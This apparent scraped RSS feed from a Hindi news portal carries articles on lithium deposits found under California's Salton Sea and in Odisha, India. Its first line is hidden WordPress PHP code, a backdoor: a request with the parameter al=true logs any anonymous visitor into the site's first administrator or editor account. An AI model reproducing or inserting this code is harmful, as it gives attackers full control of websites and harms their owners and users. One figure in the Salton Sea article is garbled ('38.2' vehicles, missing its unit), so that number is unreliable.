// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); lithium – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Wed, 26 Mar 2025 04:36:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 अमेरिका के हाथ लगा समंदर के नीचे दबा ‘सफेद सोने’ का सबसे बड़ा भंडार, चीन का दबदबा होगा खत्म! https://pratyushaashakinayikiran.com/?p=143411 Wed, 26 Mar 2025 04:36:00 +0000 https://pratyushaashakinayikiran.com/?p=143411 वॉशिंगटन
 अमेरिकी वैज्ञानिकों
ने बहुत बड़े लिथिमय भंडार की खोज की है। इस बेशकीमती भंडार की खोज कैलिफोर्निया के साल्टन सागर के धुंधले पानी के नीचे की गई है। एक अनुमान के अनुसार, इस भंडार की कीमत 540 अरब अमेरिकी डॉलर हो सकती है। लिथियम को सफेद सोना कहा जाता है, जो अमेरिका को इस धातु के मामले में आत्मनिर्भर बनने का एक मौका प्रदान कर सकता है। इससे विदेशी आयात पर उसकी निर्भरता काफी कम हो जाएगी।
सफेद सोने को हासिल करने में चुनौती

यह खोज अमेरिका के लिए बहुत फायदेमंद हो सकती है, लेकिन इस खजाने को निकालने के लिए कई चुनौतियां भी आती हैं, जो स्थानीय समुदायों, पर्यावरण और भू-राजनीतिक परिदृश्य को प्रभावित कर सकती हैं। दक्षिणी कैलिफोर्निया के इंपीरियल काउंटी में स्थित साल्टन सागर लंबे समय से आकर्षण और चिंता का विषय रहा है। कभी पर्यटकों के लिए एक लोकप्रिय गंतव्य रहा यह झील पिछले कुछ वर्षों में महत्वपूर्ण पर्यावरणीय चुनौतियों का सामना कर रहा है।

लिथियम का बड़ा भंडार

इसकी सतह के नीचे दुनिया में लिथियम ब्राइन के सबसे बड़े भंडारों में से एक है। अमेरिकी ऊर्जा विभाग की फंडिंग से किए गए हाल के अध्ययन बताते हैं कि झील के नीचे लगभग 1.8 करोड़ टन लिथियम दबा हुआ है। यह पहले पुष्ट किए गए 40 लाख टन से कहीं ज्यादा है।

लिथियम का इस्तेमाल इलेक्ट्रिक वाहनों (EV) की बैटरी बनाने में होता है। यह ईवी बैटरी उद्योग का नया रूप दे सकता है। इससे 38.2 इलेक्ट्रिक वाहनों की बैटरी के लिए पर्याप्त लिथियम उपलब्ध होगा। यह वर्तमान में अमेरिकी सड़कों पर चलने वाले वाहनों की कुल संख्या से भी ज्यादा है।

चीन पर खत्म होगी निर्भरता

अध्ययन में योगदान देने वाले कैलिफोर्निया विश्वविद्यालय, रिवरसाइड के प्रोफेसर ने खोज के महत्व पर जोर देते हुए कहा, यह दुनिया के सबसे बड़े लिथियम ब्राइन भंडारे में से एक है। इससे अमेरिका लिथियम में पूरी तरह से आत्मनिर्भर हो सकता है और चीन से इसका आयात बंद कर सकता है।

बैटरी के लिए अपनी महत्वपूर्ण भूमिका के चलते सफेद सोना कहे जाने वाले लिथियम के भंडार ने कैलिफोर्निया के राजनीतिक हलकों में भी उत्साह जगाया है। गवर्नर गेविन न्यूजॉम ने खोज के बाद साल्टन सागर को लिथियम का सऊदी अरब कहा है। इलेक्ट्रिक वाहनों की लहर के कारण लिथियम की वैश्विक मांग आसमान छू रही है। ऐसे में अमेरिका के पास लिथियम उत्पादन में वैश्विक नेता के रूप में खुद को स्थापित करने का एक अनूठा अवसर है। संभवतः यह प्राथमिक आपूर्तिकर्ता के रूप में चीन को पीछे छोड़ सकता है।

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ओडिशा में लिथियम का एक बड़ा भंडार मिला, सफेद सोने के खजाने से बदल सकती है तस्वीर https://pratyushaashakinayikiran.com/?p=124616 Thu, 23 Jan 2025 18:08:00 +0000 https://pratyushaashakinayikiran.com/?p=124616 भुवनेश्वर
 भारत में इलेक्ट्रिक व्हेकिल की मुहिम को आगे बढ़ाने के लिए ओडिशा इसका केंद्र बन सकता है। ओडिशा के नयागढ़ में लीथियम का एक बड़ा भंडार मिला है। ओडिशा के नयागढ़ में लिथियम के विशाल भंडार की खोज ने भूगर्भ वैज्ञानिकों को जोश से भर दिया है। भारतीय भूवैज्ञानिक सर्वेक्षण (GSI) की इस खोज के बाद माना जा रहा है कि इससे भारत के ईवी बैटरी उत्पादन को बढ़ावा मिल सकता है। भारत की आयात पर निर्भरता कम हो सकती है। आगे के खोजबीन के लिए एआई और ड्रोन का उपयोग किया जा रहा है। भूवैज्ञानिक सर्वेक्षणों की रिपोर्ट्स में कहा है कि ओडिशा के नयागढ़ जिले में मूल्यवान लिथियम भंडार की मौजूदगी है। इससे पहले फ़रवरी 2023 में भारत के जियोलॉजिकल सर्वे (GSI) ने जम्मू-कश्मीर के रियासी ज़िले मे लिथियम के भंडार मिलने की तस्दीक़ की थी। लीथियम को उसके रंग की वजह से सफेद सोना (व्हाइट गोल्ड) की संज्ञा दी गई है।

अभी चीन का है एकाधिकार
अभी लिथियम बैटरी के उत्पादन में चीन का एकाधिकार है। लिथियम भंडारण के मामले में भारत से आगे बोलिविया, अर्जेंटीना, अमेरिका, चिली, ऑस्ट्रेलिया और चीन हैं। भारतीय भूवैज्ञानिक सर्वेक्षण (जीएसआई) ने मूल्यवान लिथियम की मौजूदगी का निष्कर्ष दिया है। यह निष्कर्ष ऐसे वक्त पर सामने आया है जब केंद्र सरकार क्षेत्रों में राष्ट्र की आत्मनिर्भरता को बढ़ावा देने के लिए महत्वपूर्ण खनिजों की खोज को प्राथमिकता दे रही है। जीएसआई लिथियम और तांबे जैसे मूल्यवान खनिज संसाधनों का पता लगाने के लिए ड्रोन के साथ-साथ आर्टिफिशियल इंटेलिजेंस (एआई) का उपयोग कर रहा है। मयूरभंज जिले में एक पायलट परियोजना शुरू की गई है। जो पहले से कई मूल्यवान खनिजों का घर है। मयूरभंज के बाद सरकार दक्षिणी ओडिशा में भी खनन सर्वेक्षण करने की योजना बना रही है। इसमें कंधमाल और मलकानगिरी जिलें शामिल हैं। भारतीय भूवैज्ञानिक सर्वेक्षण (जीएसआई) के नयागढ़ में लिथियम खोजने से भारत के घरेलू इलेक्ट्रिक वाहन (ईवी) बैटरी उत्पादन को बढ़ावा मिलने उम्मीद जगा दी है।

खनन कार्य में तकनीकी प्रगति: जीएसआई नवीनतम तकनीकों का उपयोग करके ओडिशा में खनिज भंडारों का सर्वेक्षण कर रहा है. केंद्रीय खान सचिव वीएल कांता राव ने बताया कि जीएसआई ड्रोन के साथ-साथ एआई का भी उपयोग कर रहा है. उन्होंने कहा कि ड्रोन आधारित प्रौद्योगिकियों के उपयोग से सर्वेक्षण कार्य आसान और तेज हो गया है. राजस्थान और ओडिशा के मयूरभंज जिले में प्रायोगिक आधार पर दो परियोजनाएं शुरू की गई हैं.

ओडिशा का खनन कार्य पूरे देश के लिए आदर्श: वी.एल कांता राव ने कहा कि ओडिशा का खनन कार्य पूरे देश के लिए एक आदर्श बन गया है. उन्होंने बताया कि ओडिशा देश में खनिजों का लगभग 50 प्रतिशत योगदान देता है. उन्होंने यह भी कहा कि उन जिलों में खनिज सर्वेक्षण गतिविधियां तेज की जाएंगी जहां कई सालों से खनन कार्य बंद पड़ा है.

खान मंत्रियों का सम्मेलन: केंद्रीय भूवैज्ञानिक प्रोग्रामिंग बोर्ड (CGPI) की 64वीं बैठक में वीएल कांता राव ने सहयोग को बढ़ावा देने और भूविज्ञान को आगे बढ़ाने में मंच की महत्वपूर्ण भूमिका पर जोर दिया। उन्होंने खान मंत्रालय की प्रमुख पहलों को भी रेखांकित किया, जो ‘क्रिटिकल मिनरल मिशन’ और अपतटीय खनन पर हाल की दो महत्वपूर्ण बजटीय घोषणाओं के अनुरूप हैं.

ओडिशा देश की खनन राजधानी
ओडिशा के खनन पर टिप्पणी करते हुए, खान मंत्रालय के सचिव एल. कांथा राव ने कहा कि भारत के लगभग 50% खनिजों की आपूर्ति करके ओडिशा ने देश की खनन राजधानी के रूप में अपनी स्थिति मजबूत कर ली है। लिथियम के अलावा ओडिशा के देवगढ़, क्योंझर और मयूरभंज सहित कई जिलों में सोने के भंडार पाए जाने की खबरें मिली हैं। भारतीय भूवैज्ञानिक सर्वेक्षण (जीएसआई) इन खनिजों की खोज में शामिल रहा है। इस बीच भुवनेश्वर में भारतीय भूवैज्ञानिक सर्वेक्षण (जीएसआई) की प्रारंभिक बैठक शुरू हो गई है, जो कोणार्क में खनन मंत्रियों के आगामी दो दिवसीय शिखर सम्मेलन के लिए मंच तैयार कर रही है।

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